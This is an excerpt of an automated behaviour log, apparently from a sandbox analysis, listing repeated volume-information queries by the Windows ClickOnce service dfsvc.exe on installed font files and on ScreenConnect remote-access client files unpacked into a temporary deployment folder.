Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.ClientService.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsBackstageShell.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsFileManager.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsClient.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsFileManager.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
